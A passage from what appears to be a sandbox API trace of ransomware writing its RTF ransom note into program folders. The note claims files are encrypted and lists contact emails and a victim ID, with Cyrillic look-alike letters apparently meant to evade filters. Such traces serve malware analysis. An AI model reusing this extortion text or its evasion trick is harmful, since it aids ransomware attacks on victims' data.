t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.097] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.098] CloseHandle (hObject=0x1c4) returned 1 [0041.099] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.099] GetLastError () returned 0x2 [0041.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 